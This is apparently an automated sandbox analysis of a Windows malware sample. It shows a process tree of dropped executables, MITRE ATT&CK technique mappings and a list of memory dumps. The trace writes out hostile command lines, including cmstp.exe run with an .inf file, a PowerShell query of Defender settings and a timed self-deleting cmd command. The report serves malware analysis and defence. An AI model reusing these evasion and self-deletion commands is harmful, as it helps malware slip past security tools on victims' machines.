  - - C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe
      "C:\Users\Admin\AppData\Local\Temp\jSWzRwslV7.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1636
    - - \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\vdvcz1lo.inf
        5⤵
        
        PID:648
- - C:\Users\Admin\AppData\Local\Temp\NOoiRlHKBy.exe
    "C:\Users\Admin\AppData\Local\Temp\NOoiRlHKBy.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Users\Admin\AppData\Local\Temp\NOoiRlHKBy.exe
      "C:\Users\Admin\AppData\Local\Temp\NOoiRlHKBy.exe"
      4⤵
      Executes dropped EXE
      Windows security modification
      PID:1460
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5e1076d2b7b7ba138f08174d602bc167.exe"
    3⤵
    - Deletes itself
    - Suspicious use of WriteProcessMemory
    PID:584
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /T 10 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:1332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/960-29-0x000007FEF7800000-0x000007FEF7A7A000-memory.dmp

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memory/1028-67-0x0000000000250000-0x0000000000251000-memory.dmp

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memory/1028-55-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1028-73-0x0000000000680000-0x00000000006C0000-memory.dmp

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memory/1168-394-0x0000000003C80000-0x0000000003C81000-memory.dmp

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memory/1168-153-0x00000000000E0000-0x00000000000E1000-memory.dmp

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memory/1168-155-0x0000000000120000-0x0000000000121000-memory.dmp

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memory/1208-393-0x0000000050480000-0x000000005049A000-memory.dmp

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memory/1208-152-0x0000000004DA0000-0x0000000004DED000-memory.dmp

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memory/1208-72-0x0000000003D50000-0x0000000003DAC000-memory.dmp

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memory/1208-405-0x0000000010530000-0x000000001054B000-memory.dmp

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memory/1288-16-0x0000000000400000-0x0000000000497000-memory.dmp

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memory/1288-13-0x0000000000400000-0x0000000000497000-memory.dmp

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memory/1460-80-0x0000000000400000-0x0000000000408000-memory.dmp

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memory/1460-85-0x0000000000400000-0x0000000000408000-memory.dmp

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memory/1460-86-0x0000000000400000-0x0000000000408000-memory.dmp

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memory/1460-90-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1564-75-0x0000000000650000-0x0000000000681000-memory.dmp

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memory/1564-76-0x00000000008A0000-0x00000000008B6000-memory.dmp

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memory/1564-62-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1564-24-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/1564-68-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

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memory/1564-19-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/1636-89-0x0000000000400000-0x000000000040C000-memory.dmp

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memory/1636-97-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1636-94-0x0000000000400000-0x000000000040C000-memory.dmp

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memory/1636-93-0x0000000000400000-0x000000000040C000-memory.dmp

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memory/1640-151-0x00000000063B0000-0x00000000063B1000-memory.dmp

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memory/1640-119-0x00000000027F0000-0x00000000027F1000-memory.dmp

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memory/1640-135-0x0000000006320000-0x0000000006321000-memory.dmp

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memory/1640-111-0x0000000000940000-0x0000000000941000-memory.dmp

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memory/1640-150-0x00000000063A0000-0x00000000063A1000-memory.dmp

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memory/1640-113-0x0000000004A40000-0x0000000004A41000-memory.dmp

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memory/1640-122-0x0000000006100000-0x0000000006101000-memory.dmp

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memory/1640-128-0x00000000061E0000-0x00000000061E1000-memory.dmp

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memory/1640-107-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1640-136-0x00000000056B0000-0x00000000056B1000-memory.dmp

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memory/1640-127-0x0000000006140000-0x0000000006141000-memory.dmp

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memory/1640-118-0x0000000002460000-0x0000000002461000-memory.dmp

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memory/1676-25-0x0000000000400000-0x0000000000438000-memory.dmp

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memory/1676-28-0x0000000000400000-0x0000000000438000-memory.dmp

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memory/1784-112-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1784-110-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/1784-109-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/1784-105-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/1828-65-0x00000000734A0000-0x0000000073B8E000-memory.dmp

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memory/1828-66-0x0000000000860000-0x0000000000861000-memory.dmp

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memory/1828-74-0x0000000000BF0000-0x0000000000C28000-memory.dmp

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memory/2968-406-0x0000000000140000-0x0000000000141000-memory.dmp

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memory/2968-399-0x00000000000D0000-0x00000000000D1000-memory.dmp

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memory/2968-397-0x0000000000090000-0x0000000000091000-memory.dmp

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